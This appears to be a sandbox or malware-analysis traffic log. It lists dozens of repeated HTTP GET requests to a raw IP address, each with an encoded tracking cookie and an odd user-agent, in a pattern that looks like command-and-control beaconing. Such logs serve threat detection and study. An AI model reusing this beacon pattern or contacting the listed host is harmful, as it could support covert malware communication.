Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=7gVREbXGMVZk8v4Q19O_cRR50nqDQhFLeUr43EEpyBbNMiZh_J7XBhYPLMtS-LF-BmxUHO0pjC8tfFZM-Kl9SkjbnfSEuESvZB8NSbJSznd6GVdK3qP9ZKx9r_TGdRc7KoPSmqarOUpc_3Xl4-mVyn2L0Bc8FSrHLh0gPaPXUKjbMUm8User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=8v-7mak82954CBSYyylV-QiDOPKfuPvDZbASVF3TIp7RyMzp4GQ9jgr1xkNOAlv2Gpa-lPHTZqcxhrzE5FOXwlQhd3yYQq4neOXnwa6oJP9m473CwlkX7LCHRXzaj_2zNnk4ErpR08JABZ9t_xN_QmFxOp8g78BPMufKtb8tuiDHy6M0User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=gTFVt9ryNfALxvq2uOe713tN1tzsdhXtFn78ei4dzLCiBiLHk6rToHk7KG09zLXYaVhQuoIdiIlCSFLql5157CfvmVLrjEAJCysJ791mytEVLVPssZf5wsNJq1KpQROdRbfWPMmfPewzy3FDjN2RbBK_1LFTIS5hQSkkm8zjVA60BU0aUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=RME0Rx8CVADONptGfRfaJ769tywphnQd046diuvtrUBn9kM3VlqyULzLSZ34PNQorKgxSkft6XmHuDMaUm0YHOIf-KIufCH5zttoHxiWqyHQ3TIcdGeYMga5yqJssXJtgEe3zAxvXBz2OxCzSS3wnNdPtUGW0U-RhNlFawkTNf5x9SzqUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=I6OwSnhg0A2pVB9LGnVeKtnfMyFO5PAQtOwZh4yPKU0AlMc6MTg2XdupzZCfXlAly8q1RyCPbXTg2rcXNQ-cEYV9fK9JHqX0qbnsEn_0Lyy3v7YREwUcP2HbTq8L0_Zg5yUzwWsN2BGRWZS-Lk90kbAtMUzxs8uc47vBZm5xsfMWl6jnUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=IYMPFXpAb1KrdKAUGFXhddv_jH5MxE9Ptsym2I6vlhICtHhlMxiJAtmJcs-dfu96yeoKGCKv0ivi-ghINy8jToddw_BLPhqrq5lTTX3UkHO1nwlOESWjYGP78fAJ80k_5QWMnmktZ06TeSvhLG_LzrINjhPzk3TD4Zt-OWxRDqwUtxe4User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=QWoFBhqpZUHLnaoHeLzrZrsWhm0sLUVc1iWsy-5GnAFiXXJ2U_GDEblgeNz9l-VpqQMAC0JG2DiCEwJbV8YpXee0yeMr1xC4y3BZXh09mmDVdgNdccypcwMS--NpGkMsheyGjQnEbV3zkCHyTIbB3dLkhACTen7QgXJ0Kgy4BL90Xh2rUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=f65y9SRtErL1Wd30RniclYXS8Z4S6TKv6OHbONCC6_JcmQWFbTX04oekDy_DU5Kal8d3-HyCr8u813WoaQJertlwvhAVE2dL9bQurSP57ZPrsnSuTwjegD3WjBBX3jTfuyjxfjcAGq7NVFYBckK2Luwg8_Otvgkjv7YD2TJ8c0xKmmpYUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=oxFB8fjSIbYp5u7wmsevkVltwprOVgGrNF7oPAw92PaAJjaBsYrH5lsbPCsf7KGeS3hE_KA9nM9gaEastb1tqgXPjRTJrFRPKQsdqf9G3pc3DUeqk7fthOFpvxSLYQfbZ5fCeuu_KaoR62UFrv2FKjCfwPdxATonYwkw3e7DQEiWJVlcUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=4x301rjelJFp6lvX2ssathlhd72OWrSMdFJdG0wxbdHAKoOm8YZywRsXiQxf4BS5C3Tx2-AxKeggZPOL9bHYjUXDODOJoOFoaQeojr9Ka7B3AfKN07tYo6FlCjPLbbL8J5t3XauznI1R59Ai7vEwDXCTddAxDY8AIwWF-q7P9W_WKex7User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=icNVz9IANYgDNPrOsBW7r3O_1qTkhBWVHoz8AibvzMiq9CK_m1jT2HHJKBU1PrWgYapQworviPFKulKSn295lC8dmSrjfkBxA9kJl9WUyqkd31OUuWX5usu7qyqhsxPlTUXWRMFtPZQ7OXE7hC-RFBpN1Mlb0y4ZSdsk48QRVHa8901iUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Xo9HoAVMJ-fUeOihZ1mpwKTzxMszyAf6ycDubfGj3qd9uDDQTBTBt6aFOnricqfPtuZCrV2jmp6d9kD9SCNr-_hRi0U0MlIe1JUb-ALY2MbKk0H7binr1Rz3uUV2_wGKmgnEKxYhL_vsdWNUU2ODe80BxqaMnzx2npc2jBNdRhlru18NUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=7GyLA7ev60RmmyQC1bplYxYQCGiBK8tZeyMizkNAEgTPW_xz_vcNFBRm9tlQkWtsBAWODu9AVj0vFYxe-sCnWEqyR-aG0Z69ZnbXW7A7FGV4cI1Y3Mondq4UdebEHM0pKOoIiKTC41helq_34YBP2H_iCgU-fPDVLHT6L6G-irrZWJOuUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=c8quLigJzmn5PQEvShxATom2LUUeje505IUH49zmNylQ_dleYVEoOYvA0_TPN05Bm6OrI3DmcxCws6lzZWaCddUUYssZd7uQ-dDydi-dMUjn1qh1Q2wCWzGyUMtbuugEt0wtpTtkxnXBMIrafiZq9eBELyih2tX4s9LfAj4Yr5dG_raDUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=x33EXpy-pBlNimtf_qsqPj0BRzWqOoQEUDJtk2hRXVnkSrMu1eZCST93uYR7gCQxLxTBU8RRGWAEBMMD0dHoBWGjCLutwNHgTWeYBpsqWzhTYcIF99toK4UFOrvvDYJ0A_tH1Y_TrAV1h-CqypEAhVTzRVgVbb-IB2W1coqvxefySdzzUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=QbCGxBpz5oPLRynFeGZopLvMBa8s98ae1v8vCe6cH8Nih_G0UysA07m6-x79TWarqdmDyUKcW_qCyYGZVxyqn-duSiErDZN6y6ranB3nGaLVrICfcRYqsQPIeCFpwMDuhTYFTwke7p_zSqIwTFxCH9I-B8KToP0Sgaj36Axih310hJ5pUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=RYprCR5JC07PfcQIfFyFab_26GIozStT0sXCxOqm8g5mvRx5VxHtHr2AFtP5d4tmreNuBEamtjeG82xUUyZHUuNUp-wvN363z5A3URnd9G_Rlm1SdSzHfAfylext-i0jgQzogg0kA1L3cE_9SGav0tYE6g-XmhDfhZIaJQhYarBwvnOkUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=IL-y6Ht80q-qSB3pGWlciNrDMYNN-PKyt_AbJY-TK-8DiMWYMiQ0_9i1zzKcQlKHyNa35SOTb9bjxrW1NhOes4Zhfg1KAqdWqqXusHzoLY60o7SzEBkenWLHTA0Iz_TC5DkxY2gR2rOSRZYcLVN2M7MxM-7yr8k-4KfDxG1ts1EVi6pFUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=lA0veM_OTz8e-oB5rdvBGG5xrBP5Sm8iA0KGtTshtn-3OlgIhpapb2wHUqIo8M8XfGQqdZch8kZXdCglgqEDIzLT453-sDrGHhdzIMhasB4AESkjpKuDDdZ10Z28fWlSUIus89yjRyMm9wuMmeHroweDrn5GHVSuVBVeVNnfLsGhOTfVUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=goVl3NlGBZsIcsrdu1OLvHj55rfvwiWGFcrMES2p_NuhshKskB7jy3qPGAY-eIWzauxg0YGpuOJB_GKBlClJhyRbqTnoOHBiCJ85hN7S-roWmWOHsiPJqcD9mzmq9SP2RgPmV8orDYcwf0Eoj2mhBxEL5NpQlR4KQp0U8M9XZGW3sX1xUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=ZB5Mdz_dLDDu6eN2XciiF55izxwJWQwt81Hlussy1XBHKTsHdoXKYJwUMa3Y46wYjHdJemcykUmnZ0sqcrJgLMLAgJIOo1nJ7gQQLzhJ0xHwAkosVLjgAiZmspJMbgpdoJjP_CywJCzW5GiDafKIrPeQzXG2DjehpAY9WynMTc5RKlTaUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=cAexMyvE0XT68B4ySdFfU4p7MlgdQPFp50gY_t8rKDRTMMZDYpw3JIgNzOnM-lFcmG60PnMrbA2zfrZuZqudaNbZfdYauqSN-h3tayxQLlXkG7doQKEdRjJ_T9ZYd_cZtIEyuDip2WjC_ZXHfet16OOJMDWiF8rlsB_AHz3VsIpFM6meUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=n_dJrMQ0KesVAOatpiGnzGWLysfysAn2CLjgYTDb0Ku8wD7cjWzPu2f9NHYjCqnDd55MoZzblJJcjk7xiVtl9zkphUn1SlwSFe0V9MOg1soL60_3r1Hl2d2Pt0m3hw-GW3HKJ9dZIfctDW1YkhuNdwx5yKpN5zJ6X-84gNIlSBWqw1EBUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=7Qr9dLbJnTNn_VJ11NwTFBd2fh-ATb0uekVUuUImZHPOPYoE_5F7YxUAgK5R9x0bBWP4ee4mIEouc_op-6bRL0vUMZGHt-jKZxChLLFdYhJ5Fvsv3axRAa9yA5HFerteKYx-_6WklS9f8NmA4OY5r36EfHI_GoaiLRKMWKDY_M3YPuXZUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=mZpS08JZMpQTbf3SoEy8s2Pm0bj03RKJDtX7Hja2y9S6rSWjiwHUxGGQLwklZ7K8cfNX3pq2j-1a41WOjzZ-iD9EnjbzJ0dtE4AOi8XNzbUNhlSIqTz-ptvirDax6hT5XRzRWNE0OogrYHYnlHaWCAoU09VLiikFWYIj_9RIU2qsrkp-User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=c_KMtigx7PH5BSO3SiRi1omOD90etczs5L0le9zeFbFQxfvGYWkKoYv48WzPD2zZm5uJu3DeUYiwi4vrZV6g7dUsQFMZT5kI-ejQ7i-lE9Dn7ortQ1QgwzGKclNbgsqct3QPPTtc5O3BCKhCfh5IbeB8DbCh4vdgs-r9mj4gjQ9GxpQbUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=m79_mMB8H98RSNCZommR-GHD_PP2-D_CDPDWVTST5p-4iAjoiST5j2O1AkInQp_3c9Z6lZiToqZYxnjFjRNTwz1hs33xAmomEaUjwMfo4P4Po3nDqxnT7dnHgX2zzzmyXzn8E9MRF8MpRVtsllO7Qwgx_p5JrwROW6cOtNZtfiGui2c1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=5qcPRr1kbwFsUKBH33HhJhzbjC2L4E8cceimi0mLlkHFkHg29DyJUR6tcpxaWu8pDs4KS-WL0ngl3ggb8AsjHUB5w6OMGhr4bL1THrrwkCByuwkd1gGjM6Tf8aPO10lsIiGMza4JZx1UXSuy60vLnXUpjkA0t3SQJr9-aqt1Dv_TkxfrUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=cv49-Ck9Xb_4CZL5SyjTmIiCvpMfuX2i5bGUNd3SpP9RyUqIYGW774r0QCLOA92Xmpc49XHS4MaxhzqlZFIRo9Qg8R0YQyhG-ORhoC6pop7m4jujQliRjTCGwx1ajnvStni-czpQVaPABBkMfxL5I-FwvP6g7kYusuZM1D8sPEFHyiVVUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=IUFg73qCAKirts_uGJeOj9s944RMBiC1tg7JIo5t-egCdhefM9rm-NlLHTWdvICAyShl4iJtvdHiOGeyN-1MtIefrApL_HVRq1s8t30W_4m1XWa0EefMmmM5ngoJMSbF5cfjZGnvCLSTu0QbLK2kNLLP4enzURs54VkRw2yTYVYUdXhCUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=LJB3_HdTF7umZ9j9FUaZnNbs9JdB1zemu9_eMYO87vsPpwCMPgvx69SaCiaQbZeTxPly8S-8qsLv6XChOjxbp4pOuxlGLWJCpoorpHDH6Jq4jHGnHDbbiW7oiRkE4DHW6Bb0d2Q-H6eealMIIXyzJ78e9vr-gAwq7IgG0GFCdkUZpG9RUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=biMvDTXgT0rk1IAMV_XBbZRfrGYDZG9X-WyGwMEPtgpNFFh9fLipGpYpUtfS3s9ihkoqAG0P8jOtWihQeI8DVsj94-gEnjqz5DlzVTJ0sGv6PylWXoWDeCxb0ehGU2knqqWshiaNR1bc2Qv5Y8_r1v2trgu8M1TbrjteISPxLrRbFzegUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=WBqb_APZ-7vS7TT9Ycx1nKJmGJc1Xdumz1UyMfc2Avt7LeyMSoEd66AQ5ibk53uTsHOe8Vs2RsKbY5yhTra3p_7EVxkyp45C0gDHpARNBJrMBp2naLw3iRpiZRlwat3WnJwYdxC086fq4L8IVfZfJ8uUGvqKCuAqmALq0BXImkVtLoNRUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=WKjcXgNrvBnSX3NfYX4yPqLUXzU175wEz-d1k_eERVl7n6suSjNaSaCioYTkVTwxsMHZU1uEAWCb0dsDTgTwBf52ELsyFcng0rKABgT_QzjMtNoFaA5wKxrQIrtw2Jp0nC5f1RAGtAXqUviqVUQYhcsmXViKuKeImLCtchV63edtnMTzUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=EGSxv0un0fiakx6-KbJf3-oYMtR9I_HlhysYcr9IKLgzU8bPAv83qOhuzGWsmVHQ-A20shNIbIHTHbbiBsid5La6fVp62aQBmn7t50wzLtmEeLfkIMIdylIcT1o4FPeV1OIyNFjK2eSinpVLHYh1ZIPqMLnCdMpp0HzAk122sAYlUKkSUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=ThGZmxXS-dzE5jaad8d3-7RtGvAjVtnB2V4wVuE9AJxtJu7rXIofjLYb5EHy7Hn0pniclk09RKWNaJ7GWL21wOjPVX4krIwlxAvFwxJGBv3aDZ_Afrc17gxpZ35mYd-xipcaEAa_8cD8671vQ_1dQN2fGJ2cAeJNjgnotwPDmCJ7JYE2User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=nGtq58eoCqAWnMXmpb2Eh2YX6YzxLCq9CyTDKjNH8-C_XB2XjvDs8GRhFz0gloqIdAJv6p9Ht9lfEm26isdGvDq1pgL21n9ZFnE2v8A89YEId2y8rM3Gkt4TlAK0GyzNWO3pbNTFArwukU4TkYeuPA_l6-FOexExXHMby9G5a16pX3JKUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=8PsrRas4SwJ6DIREyS3FJQqHqC6dvGsfZ7SCiF_XskLTzFw14mCtUgjxVp9MBssqGJIuSPPX9nszgiwY5lcHHlYl56CaRj77euF3HaystCNk5y0ewF2HMLKD1aDYi21vNH2ozrhVQx5CAQ-x_RfvnmN1qkMi61CTMONaab0pKvzFzzPoUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
